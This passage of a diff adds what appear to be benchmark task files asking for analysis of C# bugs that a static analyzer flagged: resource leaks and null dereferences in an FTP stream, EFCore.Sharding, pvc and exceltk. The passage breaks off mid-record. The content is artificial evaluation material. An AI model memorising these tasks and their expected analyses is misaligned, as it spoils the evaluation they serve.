+        /// <param name="buffer"></param>
+        /// <param name="offset"></param>
+        /// <param name="count"></param>
+        /// <returns></returns>
+        public override int Read(byte[] buffer, int offset, int count) {
+            IAsyncResult res;
+            int read = 0;
+
+            if (!this.CanRead) {
+                throw new IOException("This stream is not readable!");
+            }
+
+            if (this.BaseStream == null) {
+                throw new IOException("The base stream is null. Has a socket connection been opened yet?");
+            }
+
+
+            // old blocking read
+            //read = this.BaseStream.Read(buffer, offset, count);
+            //this._position += read;
+
+            // new read code that supports read timeout
+            res = this.BaseStream.BeginRead(buffer, offset, count, null, null);
+            res.AsyncWaitHandle.WaitOne(this.ReadTimeout);
+            if (!res.IsCompleted) {
+                // can just set this.Socket = null due to strange bug
+                // where _socket gets reset and causes another exception
+                // in the Close method of this class.
+                this._socket.Close();
+                this._socket = null;
+                this._netstream = null;
+                this._reader = null;
+                throw new IOException("Timed out waiting for a response on the data channel.");
+            }
+
+            read = this.BaseStream.EndRead(res);
+            this._position += read;
+            // end new read code
+
+            // if EOF close stream
+            if (read == 0) {
+                this.Close();
+            }
+            else {
+                // keep-alive hack
+                if (this.ControlConnection.KeepAliveInterval > 0 && DateTime.Now.Subtract(this.LastNoOp).Seconds >= this.ControlConnection.KeepAliveInterval) {
+                    this.ControlConnection.Execute("NOOP");
+                    this.LastNoOp = DateTime.Now;
+                }
+            }
+
+            return read;
+        }
+
+        /// <summary>
+        /// Reads a line off the data stream
+        /// </summary>
+        /// <returns></returns>
+        public string ReadLine() {
+            string data = null;
+
+            if (!this.CanRead) {
+                throw new IOException("This stream is not readable!");
+            }
+
+            if (this.BaseStream == null) {
+                throw new IOException("The base stream is null. Has a socket connection been opened yet?");
+            }
+
+            data = this.StreamReader.ReadLine();
+            ControlConnection.WriteLineToLogStream("> " + data);
+
+            return data;
+        }
+
+        /// <summary>
+        /// Sets the length of the stream.
+        /// </summary>
+        /// <param name="value"></param>
+        public override void SetLength(long value) {
+            this._length = value;
+        }
+
+        /// <summary>
+        /// Seek the stream to the specified position
+        /// </summary>
+        /// <param name="offset"></param>
+        /// <returns></returns>
+        public long Seek(long offset) {
+            return this.Seek(offset, SeekOrigin.Begin);
+        }
+
+        /// <summary>
+        /// Uses the REST command to set the stream position in stream
+        /// mode transfers. If the transfer has started an exception
+        /// will be triggered because REST cannot be executed once data
+        /// has been exchanged.
+        /// </summary>
+        /// <param name="offset"></param>
+        /// <param name="origin"></param>
+        /// <returns></returns>
+        public override long Seek(long offset, SeekOrigin origin) {
+            /*if (!this.ControlConnection.HasCapability(FtpCapability.REST)) {
+                throw new IOException("The FTP server does not support stream seeking.");
+            }*/
+
+            if (this.TransferStarted) {
+                throw new IOException("FTP stream seeking cannot be done after the transfer has started.");
+            }
+
+            if (origin != SeekOrigin.Begin) {
+                throw new IOException("The only seek origin that is supported is SeekOrigin.Begin");
+            }
+
+            try {
+                this.ControlConnection.LockControlConnection();
+                if (!this.ControlConnection.Execute("REST {0}", offset)) {
+                    throw new FtpCommandException(this.ControlConnection);
+                }
+            }
+            finally {
+                this.ControlConnection.UnlockControlConnection();
+            }
+
+            this._position = offset;
+            return offset;
+        }
+
+        /// <summary>
+        /// Flushes the base stream
+        /// </summary>
+        public override void Flush() {
+            if (this.BaseStream == null) {
+                throw new IOException("The base stream is null. Has a socket connection been opened yet?");
+            }
+
+            this.BaseStream.Flush();
+        }
+
+        /// <summary>
+        /// Closes the base stream and reads the response
+        /// status of the transfer if necessary.
+        /// </summary>
+        public override void Close() {
+            if (this._socket != null) {
+                //this._socket = null;
+                this.Socket = null;
+
+                if (this.ControlConnection.Connected) {
+                    try {
+                        this.ControlConnection.LockControlConnection();
+
+                        if (this.ControlConnection.ResponseStatus && !this.ControlConnection.ReadResponse()) {
+                            throw new FtpCommandException(this.ControlConnection);
+                        }
+                    }
+                    finally {
+                        this.ControlConnection.UnlockControlConnection();
+                    }
+                }
+            }
+
+            this._length = 0;
+            this._position = 0;
+            this._started = false;
+            this.SslPolicyErrors = Security.SslPolicyErrors.None;
+        }
+
+        /// <summary>
+        /// Cleans up the resources this stream is using.
+        /// </summary>
+        public new void Dispose() {
+            this.Close();
+            base.Dispose();
+        }
+
+        /// <summary>
+        /// Opens the stream
+        /// </summary>
+        protected void Open() {
+            if (!this.Socket.Connected) {
+                this.Open(this.ControlConnection.DataChannelType);
+                this.TransferStarted = true;
+            }
+        }
+
+        /// <summary>
+        /// Sets up sockets and executes necessary commands to initalize
+        /// a data transfer.
+        /// </summary>
+        /// <param name="type"></param>
+        protected abstract void Open(FtpDataChannelType type);
+
+        /// <summary>
+        /// Executes a command on the control channel
+        /// </summary>
+        /// <param name="command"></param>
+        /// <param name="args"></param>
+        /// <returns></returns>
+        public bool Execute(string command, params object[] args) {
+            return this.Execute(string.Format(command, args));
+        }
+
+        /// <summary>
+        /// Executes a command on the control channel
+        /// </summary>
+        /// <param name="command"></param>
+        /// <returns></returns>
+        public abstract bool Execute(string command);
+
+        /// <summary>
+        /// Stream for reading and writing to ftp data channels
+        /// </summary>
+        public FtpDataStream() { }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from System.IO.Stream System.Net.FtpClient.FtpDataStream::get_BaseStream() at Line 381) of type System.Net.Sockets.NetworkStream, Leaked resource (returned from System.IO.Stream System.Net.FtpClient.FtpDataStream::get_BaseStream() at Line 368) of type System.Net.Sockets.NetworkStream, Leaked resource (returned from System.IO.Stream System.Net.FtpClient.FtpDataStream::get_BaseStream() at Line 358) of type System.Net.Sockets.NetworkStream in method "Int32 FtpDataStream.Read(Byte[],Int32,Int32)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Int32 FtpDataStream.Read(Byte[],Int32,Int32)
+
+### File:
+FtpDataStream.cs
+
+### Key:
+FtpDataStream.cs|Read|DOTNET_RESOURCE_LEAK
+
+### Hash:
+481d9b16b6fc7970004a48ee9bd95b42
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2053/instruction.md b/inferredbugs-2053/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f6d6d62726cdfbbb54ac325c6a8b9bc3ff054662
--- /dev/null
+++ b/inferredbugs-2053/instruction.md
@@ -0,0 +1,160 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** EFCore.Sharding
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.EntityFrameworkCore;
+using Microsoft.EntityFrameworkCore.Infrastructure;
+using Microsoft.EntityFrameworkCore.Storage;
+using Microsoft.Extensions.Logging;
+using System;
+using System.Data.Common;
+using System.Reflection;
+
+namespace EFCore.Sharding
+{
+    internal class DbFactory : IDbFactory
+    {
+        private readonly ILoggerFactory _loggerFactory;
+        private readonly IShardingConfig _shardingConfig;
+        public DbFactory(ILoggerFactory loggerFactory, IShardingConfig shardingConfig)
+        {
+            _loggerFactory = loggerFactory;
+            _shardingConfig = shardingConfig;
+        }
+
+        public IDbAccessor GetDbAccessor(string conString, DatabaseType dbType, string entityNamespace = null, string suffix = null)
+        {
+            GenericDbContextOptions options = new GenericDbContextOptions
+            {
+                ConnectionString = conString,
+                DbType = dbType,
+                EntityNamespace = entityNamespace,
+                LoggerFactory = _loggerFactory,
+                Suffix = suffix,
+                ShardingConfig = _shardingConfig
+            };
+
+            var dbContext = GetDbContext(options);
+
+            return GetProvider(dbType).GetDbAccessor(dbContext);
+        }
+
+        public static AbstractProvider GetProvider(DatabaseType databaseType)
+        {
+            string assemblyName = $"EFCore.Sharding.{databaseType}";
+            try
+            {
+                Assembly assembly = Assembly.Load(assemblyName);
+
+                var type = assembly.GetType($"{assemblyName}.{databaseType}Provider");
+
+                return Activator.CreateInstance(type) as AbstractProvider;
+            }
+            catch
+            {
+                throw new Exception($"请安装nuget包:{assemblyName}");
+            }
+        }
+
+        public static void CreateTable(string conString, DatabaseType dbType, Type entityType, string suffix)
+        {
+            GenericDbContextOptions options = new GenericDbContextOptions
+            {
+                ConnectionString = conString,
+                DbType = dbType,
+                EntityTypes = new Type[] { entityType },
+                Suffix = suffix
+            };
+
+            using (DbContext dbContext = GetDbContext(options))
+            {
+                var databaseCreator = dbContext.Database.GetService<IDatabaseCreator>() as RelationalDatabaseCreator;
+                try
+                {
+                    databaseCreator.CreateTables();
+                }
+                catch
+                {
+
+                }
+            }
+        }
+
+        public static GenericDbContext GetDbContext(GenericDbContextOptions options)
+        {
+            AbstractProvider provider = GetProvider(options.DbType);
+
+            DbConnection dbConnection = provider.GetDbConnection();
+            dbConnection.ConnectionString = options.ConnectionString;
+
+            DbContextOptionsBuilder builder = new DbContextOptionsBuilder();
+
+            provider.UseDatabase(builder, dbConnection);
+            builder.ReplaceService<IModelCacheKeyFactory, GenericModelCacheKeyFactory>();
+
+            builder.UseLoggerFactory(options.LoggerFactory);
+
+            options.ContextOptions = builder.Options;
+
+            return new GenericDbContext(options);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `provider` last assigned on line 100 could be null and is dereferenced at line 102, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+GenericDbContext DbFactory.GetDbContext(GenericDbContextOptions)
+
+### File:
+src/EFCore.Sharding/DbFactory.cs
+
+### Key:
+DbFactory.cs|GetDbContext|NULL_DEREFERENCE
+
+### Node Key:
+2ecce4273ada11ad161ca44c6f340c1e
+
+### Hash:
+cbf23b641ad1b85adb15db395d087265
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2054/instruction.md b/inferredbugs-2054/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7173c796015df4dd9d2e1f229cb598abebf73c00
--- /dev/null
+++ b/inferredbugs-2054/instruction.md
@@ -0,0 +1,161 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** EFCore.Sharding
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.EntityFrameworkCore;
+using Microsoft.EntityFrameworkCore.Infrastructure;
+using Microsoft.EntityFrameworkCore.Migrations;
+using Microsoft.EntityFrameworkCore.Storage;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Options;
+using System;
+using System.Data.Common;
+using System.Reflection;
+
+namespace EFCore.Sharding
+{
+    internal class DbFactory : IDbFactory
+    {
+        private readonly ILoggerFactory _loggerFactory;
+        private readonly EFCoreShardingOptions _shardingOptions;
+        public DbFactory(ILoggerFactory loggerFactory, IOptions<EFCoreShardingOptions> shardingOptions)
+        {
+            _loggerFactory = loggerFactory;
+            _shardingOptions = shardingOptions.Value;
+        }
+        public IDbAccessor GetDbAccessor(string conString, DatabaseType dbType, string entityNamespace = null, string suffix = null)
+        {
+            DbContextParamters options = new DbContextParamters
+            {
+                ConnectionString = conString,
+                DbType = dbType,
+                EntityNamespace = entityNamespace,
+                Suffix = suffix,
+            };
+
+            var dbContext = GetDbContext(options);
+
+            return GetProvider(dbType).GetDbAccessor(dbContext);
+        }
+        public void CreateTable(string conString, DatabaseType dbType, Type entityType, string suffix)
+        {
+            DbContextParamters options = new DbContextParamters
+            {
+                ConnectionString = conString,
+                DbType = dbType,
+                EntityTypes = new Type[] { entityType },
+                Suffix = suffix
+            };
+
+            using DbContext dbContext = GetDbContext(options);
+            var databaseCreator = dbContext.Database.GetService<IDatabaseCreator>() as RelationalDatabaseCreator;
+            try
+            {
+                databaseCreator.CreateTables();
+            }
+            catch
+            {
+
+            }
+        }
+        public GenericDbContext GetDbContext(DbContextParamters options)
+        {
+            if (options.ConnectionString.IsNullOrEmpty())
+            {
+                throw new Exception("连接字符串不能为空");
+            }
+
+            AbstractProvider provider = GetProvider(options.DbType);
+
+            DbConnection dbConnection = provider.GetDbConnection();
+            dbConnection.ConnectionString = options.ConnectionString;
+
+            DbContextOptionsBuilder builder = new DbContextOptionsBuilder();
+            builder.UseLoggerFactory(_loggerFactory);
+
+            provider.UseDatabase(builder, dbConnection);
+            builder.ReplaceService<IModelCacheKeyFactory, GenericModelCacheKeyFactory>();
+#if EFCORE3
+            if (_shardingOptions.MigrationsWithoutForeignKey)
+            {
+                builder.ReplaceService<IMigrationsModelDiffer, MigrationsWithoutForeignKey>();
+            }
+#endif
+            return new GenericDbContext(builder.Options, options, _shardingOptions);
+        }
+        public static AbstractProvider GetProvider(DatabaseType databaseType)
+        {
+            string assemblyName = $"EFCore.Sharding.{databaseType}";
+            try
+            {
+                Assembly assembly = Assembly.Load(assemblyName);
+
+                var type = assembly.GetType($"{assemblyName}.{databaseType}Provider");
+
+                return Activator.CreateInstance(type) as AbstractProvider;
+            }
+            catch
+            {
+                throw new Exception($"请安装nuget包:{assemblyName}");
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `provider` last assigned on line 64 could be null and is dereferenced at line 66, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+GenericDbContext DbFactory.GetDbContext(DbContextParamters)
+
+### File:
+src/EFCore.Sharding/DbFactory.cs
+
+### Key:
+DbFactory.cs|GetDbContext|NULL_DEREFERENCE
+
+### Node Key:
+2ecce4273ada11ad161ca44c6f340c1e
+
+### Hash:
+cbf23b641ad1b85adb15db395d087265
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2062/instruction.md b/inferredbugs-2062/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..696d8ff11237ea9097b0b5a98a0db7ac44711b82
--- /dev/null
+++ b/inferredbugs-2062/instruction.md
@@ -0,0 +1,221 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** pvc
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace PvcCore
+{
+    public class PvcStream : Stream
+    {
+        private readonly Lazy<Stream> stream;
+
+        /// <summary>
+        /// Arbitrary name for a stream. For streams created by pvc.Source, this will be the name
+        /// or relative path to the file. Don't rely on this for file name processing or detection,
+        /// instead use OriginalSourcePath.
+        /// </summary>
+        public string StreamName { get; private set; }
+
+        /// <summary>
+        /// Location on disk of the original source for this stream. Useful for plugins that need
+        /// to provide include paths or other similar configuration to their internals.
+        /// </summary>
+        public string OriginalSourcePath { get; private set; }
+
+        /// <summary>
+        /// Tags represent a way to filter streams for plugins. By default all streams created from
+        /// files will receive a tag of their file extension. Other tags may be applied to streams
+        /// by plugins during the pipe processing.
+        /// </summary>
+        public List<string> Tags { get; set; }
+
+        public PvcStream(Func<FileStream> fileStream)
+            : this()
+        {
+            this.stream = new Lazy<Stream>(fileStream);
+        }
+
+        public PvcStream(Func<MemoryStream> memoryStream)
+            : this()
+        {
+            this.stream = new Lazy<Stream>(memoryStream);
+        }
+
+        public PvcStream(Func<BufferedStream> bufferedStream)
+            : this()
+        {
+            this.stream = new Lazy<Stream>(bufferedStream);
+        }
+
+        public PvcStream(Func<NetworkStream> networkStream)
+            : this()
+        {
+            this.stream = new Lazy<Stream>(networkStream);
+        }
+
+        public PvcStream(Func<PvcStream> pvcStream)
+            : this()
+        {
+            this.stream = new Lazy<Stream>(pvcStream);
+        }
+
+        internal PvcStream()
+        {
+            this.Tags = new List<string>();
+        }
+
+        public PvcStream As(string streamName)
+        {
+            return this.As(streamName, null);
+        }
+
+        public PvcStream As(string streamName, string originalSourcePath)
+        {
+            this.StreamName = streamName;
+            this.OriginalSourcePath = originalSourcePath;
+            this.Tags.Add(Path.GetExtension(originalSourcePath));
+
+            return this;
+        }
+
+        public override bool CanRead
+        {
+            get { return this.stream.Value.CanRead; }
+        }
+
+        public override bool CanSeek
+        {
+            get { return this.stream.Value.CanSeek; }
+        }
+
+        public override bool CanWrite
+        {
+            get { return this.stream.Value.CanWrite; }
+        }
+
+        public override void Flush()
+        {
+            this.stream.Value.Flush();
+        }
+
+        public override long Length
+        {
+            get { return this.stream.Value.Length; }
+        }
+
+        public override long Position
+        {
+            get
+            {
+                return this.stream.Value.Position;
+            }
+            set
+            {
+                this.stream.Value.Position = value;
+            }
+        }
+
+        public override int Read(byte[] buffer, int offset, int count)
+        {
+            return this.stream.Value.Read(buffer, offset, count);
+        }
+
+        public override long Seek(long offset, SeekOrigin origin)
+        {
+            return this.stream.Value.Seek(offset, origin);
+        }
+
+        public override void SetLength(long value)
+        {
+            this.stream.Value.SetLength(value);
+        }
+
+        public override void Write(byte[] buffer, int offset, int count)
+        {
+            this.stream.Value.Write(buffer, offset, count);
+        }
+
+        /// <summary>
+        /// Read the contents of the stream from the beginning and return as a string. Position is
+        /// reset to its previous location after the read is completed.
+        /// </summary>
+        /// <returns></returns>
+        public override string ToString()
+        {
+            var streamPosition = this.stream.Value.Position;
+            this.stream.Value.Position = 0;
+
+            var result = new StreamReader(this.stream.Value).ReadToEnd();
+            this.stream.Value.Position = streamPosition;
+
+            return result;
+        }
+
+        public void ResetStreamPosition()
+        {
+            this.Position = 0;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.IO.StreamReader::.ctor() at Line 151) of type System.IO.StreamReader in method "String PvcStream.ToString()".
+
+### Severity:
+ERROR
+
+### Procedure:
+String PvcStream.ToString()
+
+### File:
+Pvc.Core/PvcStream.cs
+
+### Key:
+PvcStream.cs|ToString|DOTNET_RESOURCE_LEAK
+
+### Hash:
+95da76d3a999ea5699007fe992fec0c2
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2065/instruction.md b/inferredbugs-2065/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..26b8c21a59e183dce87aabbb4196eb4fb0c9482a
--- /dev/null
+++ b/inferredbugs-2065/instruction.md
@@ -0,0 +1,371 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** exceltk
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.Linq;
+using System.Runtime.InteropServices;
+using System.Text;
+using System.Windows.Forms;
+using ExcelToolKit;
+using System.IO;
+using System.Drawing;
+
+namespace exceltk.Clipborad {
+    public class ClipboradMonitor : System.Windows.Forms.Form {
+        [DllImport("User32.dll")]
+        protected static extern int SetClipboardViewer(int hWndNewViewer);
+
+        [DllImport("User32.dll", CharSet = CharSet.Auto)]
+        public static extern bool ChangeClipboardChain(IntPtr hWndRemove, IntPtr hWndNewNext);
+
+        [DllImport("user32.dll", CharSet = CharSet.Auto)]
+        public static extern int SendMessage(IntPtr hwnd, int wMsg, IntPtr wParam, IntPtr lParam);
+
+        IntPtr nextClipboardViewer;
+        RichTextBox richTextBox1;
+        RadioButton radioButtonMdHead;
+        bool display = false;
+
+        /// <summary>
+        /// Required designer variable.
+        /// </summary>
+        private System.ComponentModel.Container components = null;
+
+        public ClipboradMonitor() {
+            //
+            // Required for Windows Form Designer support
+            //
+            InitializeComponent();
+            nextClipboardViewer = (IntPtr)SetClipboardViewer((int)Handle);
+
+            //
+            // TODO: Add any constructor code after InitializeComponent call
+            //
+            
+        }
+
+        /// <summary>
+        /// Clean up any resources being used.
+        /// </summary>
+        protected override void Dispose(bool disposing) {
+            ChangeClipboardChain(Handle, nextClipboardViewer);
+            if (disposing) {
+                if (components != null) {
+                    components.Dispose();
+                }
+            }
+            base.Dispose(disposing);
+        }
+
+
+        /// <summary>
+        /// Required method for Designer support - do not modify
+        /// the contents of this method with the code editor.
+        /// </summary>
+        private void InitializeComponent() {
+            richTextBox1 = new System.Windows.Forms.RichTextBox();
+            radioButtonMdHead = new RadioButton();
+            var tableLayout = new TableLayoutPanel();
+            var panenl = new Panel();
+
+            var w = 292;
+            var h = 273;
+            var t = 20;
+
+            SuspendLayout();
+
+            tableLayout.Dock = DockStyle.Fill;
+            tableLayout.RowCount = 2;
+            tableLayout.RowStyles.Add(new RowStyle(SizeType.Absolute, 20F));
+            tableLayout.RowStyles.Add(new RowStyle(SizeType.Percent, 100F));
+            tableLayout.Location = new System.Drawing.Point(w, h);
+            tableLayout.Name = "main";
+            tableLayout.BackColor = System.Drawing.Color.White;
+            tableLayout.CellBorderStyle = TableLayoutPanelCellBorderStyle.None;
+            tableLayout.Margin = new Padding(0, 0, 0, 0);
+
+            panenl.Dock = DockStyle.Fill;
+            panenl.BorderStyle = BorderStyle.None;
+            tableLayout.Controls.Add(panenl);
+
+            // markdown options
+            radioButtonMdHead.Location = new System.Drawing.Point(0, 0);
+            radioButtonMdHead.Size = new System.Drawing.Size(30,t);
+            radioButtonMdHead.Dock = DockStyle.None;
+            radioButtonMdHead.Anchor = AnchorStyles.Left|AnchorStyles.Top;
+            radioButtonMdHead.BackColor = System.Drawing.Color.LightYellow;
+            radioButtonMdHead.Text = "th";
+            panenl.Controls.Add(radioButtonMdHead);
+
+            // richTextBox1
+            richTextBox1.BorderStyle = BorderStyle.None;
+            richTextBox1.Dock = DockStyle.Fill;
+            richTextBox1.Location = new System.Drawing.Point(0, t);
+            richTextBox1.Name = "markdownviewer";
+            richTextBox1.ReadOnly = true;
+            richTextBox1.Size = new System.Drawing.Size(w, h-t);
+            richTextBox1.TabIndex = 0;
+            richTextBox1.Text = "";
+            richTextBox1.WordWrap = false;
+            richTextBox1.BackColor = System.Drawing.Color.LightYellow;
+            tableLayout.Controls.Add(richTextBox1);
+
+            // Form
+            AutoScaleBaseSize = new System.Drawing.Size(5, 13);
+            ClientSize = new System.Drawing.Size(w, h);
+            Controls.Add(tableLayout);
+            Name = "exceltk";
+            Text = "exceltk - github.com/fanfeilong";
+            Icon = new Icon("table.ico");
+
+            ResumeLayout(false);
+            
+        }
+
+        protected override void WndProc(ref System.Windows.Forms.Message m) {
+            // defined in winuser.h
+            const int WM_DRAWCLIPBOARD = 0x308;
+            const int WM_CHANGECBCHAIN = 0x030D;
+
+            switch (m.Msg) {
+                case WM_DRAWCLIPBOARD:
+                    ParseClipborad();
+                    SendMessage(nextClipboardViewer, m.Msg, m.WParam, m.LParam);
+                    break;
+
+                case WM_CHANGECBCHAIN:
+                    if (m.WParam == nextClipboardViewer)
+                        nextClipboardViewer = m.LParam;
+                    else
+                        SendMessage(nextClipboardViewer, m.Msg, m.WParam, m.LParam);
+                    break;
+
+                default:
+                    base.WndProc(ref m);
+                    break;
+            }
+        }
+
+        protected override void OnShown(EventArgs e) {
+            base.OnShown(e);
+            display = true;
+        }
+
+        void ParseClipborad() {
+
+            if (!display) {
+                return;
+            }
+
+            try {
+                IDataObject iData = Clipboard.GetDataObject();
+                if (iData!=null) {
+
+                    if (iData.GetDataPresent(DataFormats.Html)){
+                        var src = iData.GetData("Html Format");
+                        OnChangeClipboardHtml(src);
+                    } 
+                }
+            } catch (Exception e) {
+                MessageBox.Show(e.ToString());
+            }
+        }
+
+        void OnChangeClipboardHtml(object src) {
+            var dataTable = GetTableFromHtml(src);
+            if (dataTable != null) {
+                var md = dataTable.ToMd(radioButtonMdHead.Checked);
+                richTextBox1.Text = md;
+                SetClipboard(md);
+            }
+        }
+
+        void OnChangeClipboardRtf(object src) {
+            var dataTable = GetTableFromRtfString(src as string);
+            var md = dataTable.ToMd();
+            richTextBox1.Text = md;
+        }
+
+        void OnChangeClipboardText(string src) {
+            richTextBox1.Text = src;
+        }
+
+        DataTable GetTableFromHtml(object src) {
+            var dataSet = src.ParseDataSet();
+            if (dataSet == null) {
+                return null;
+            }
+
+            if (dataSet.Tables.Count > 0) {
+                return dataSet.Tables[0];
+            } else {
+                return null;
+            }
+        }
+
+        DataTable GetTableFromRtfString(string src) {
+
+            File.WriteAllText("d:\\1.txt", src);
+
+            int rowEnd = 0;
+            int rowStart = 0;
+
+            DataTable dataTable = new DataTable();
+            bool firstRow = true;
+
+            do {
+                rowEnd = src.IndexOf(@"\row", rowEnd, StringComparison.OrdinalIgnoreCase);
+                if (rowEnd < 0)
+                    break;
+                else if (src[rowEnd - 1] == '\\') {
+                    rowEnd++;
+                    continue;
+                }
+
+                rowStart = src.LastIndexOf(@"\trowd", rowEnd, StringComparison.OrdinalIgnoreCase);
+                if (rowStart < 0)
+                    break;
+                else if (src[rowStart - 1] == '\\') {
+                    rowEnd++;
+                    continue;
+                }
+
+                string row = src.Substring(rowStart, rowEnd - rowStart);
+                rowEnd++;
+
+                int cellEnd = 0;
+                int cellStart = 0;
+                List<string> dataRow = new List<string>();
+                do {
+                    cellEnd = row.IndexOf(@"\cell ", cellEnd, StringComparison.OrdinalIgnoreCase);
+                    if (cellEnd < 0)
+                        break;
+                    else if (row[cellEnd - 1] == '\\') {
+                        cellEnd++;
+                        continue;
+                    }
+
+                    var cell = row.Substring(cellStart, cellEnd - cellStart);
+                    var cellValue = CellValue(cell);
+                    dataRow.Add(cellValue);
+
+                    cellStart = cellEnd;
+                    cellEnd++;
+                }
+                while (cellStart > 0);
+
+                if (firstRow) {
+                    firstRow = false;
+                    foreach (string ColName in dataRow)
+                        dataTable.Columns.Add(ColName);
+                } else
+                    dataTable.Rows.Add(dataRow.ToArray());
+            }
+            while ((rowStart > 0) && (rowEnd > 0));
+
+            return dataTable;
+        }
+
+        string CellValue(string cell) {
+            int start = 0;
+            int end = 0;
+
+            while (start < cell.Length) {
+                start = cell.IndexOf('\\', start);
+                if (start < 0)
+                    break;
+                if (cell[start + 1] == '\\') {
+                    cell = cell.Remove(start, 1);   //1 offset to erase space
+                    start++; //skip "\"
+                } else {
+                    end = cell.IndexOf(' ', start);
+                    if (end < 0)
+                        if (cell.Length > 0)
+                            end = cell.Length - 1;
+                        else
+                            break;
+                    cell = cell.Remove(start, end - start + 1);   //1 offset to erase space
+                }
+
+            }
+
+            //Erase spaces at the end of the cell info.
+            while (cell.Length > 0 && cell[cell.Length - 1] == ' ') {
+                cell = cell.Remove(cell.Length - 1);
+            }
+
+            //Erase spaces at the beginning of the cell info.
+            while (cell.Length > 0&&cell[0] == ' ') {
+                cell = cell.Substring(1, cell.Length - 1);
+            }
+
+            return cell;
+        }
+
+        private void SetClipboard(string value) {
+            var dataObject = new DataObject();
+            var bytes = Encoding.Unicode.GetBytes(value);
+            var stream = new MemoryStream(bytes);
+            dataObject.SetData("UnicodeText", false, stream);
+            Clipboard.SetDataObject(dataObject, true);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource tableLayout of type System.Windows.Forms.TableLayoutPanel, Leaked resource this.exceltk.Clipborad.ClipboradMonitor.richTextBox1 of type System.Windows.Forms.RichTextBox, Leaked resource this.exceltk.Clipborad.ClipboradMonitor.radioButtonMdHead of type System.Windows.Forms.RadioButton, Leaked resource panenl of type System.Windows.Forms.Panel, Leaked resource (output of System.Drawing.Icon::.ctor() at Line 118) of type System.Drawing.Icon in method "Void ClipboradMonitor.InitializeComponent()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ClipboradMonitor.InitializeComponent()
+
+### File:
+src/Exceltk/Clipborad/ClipboradMonitor.cs
+
+### Key:
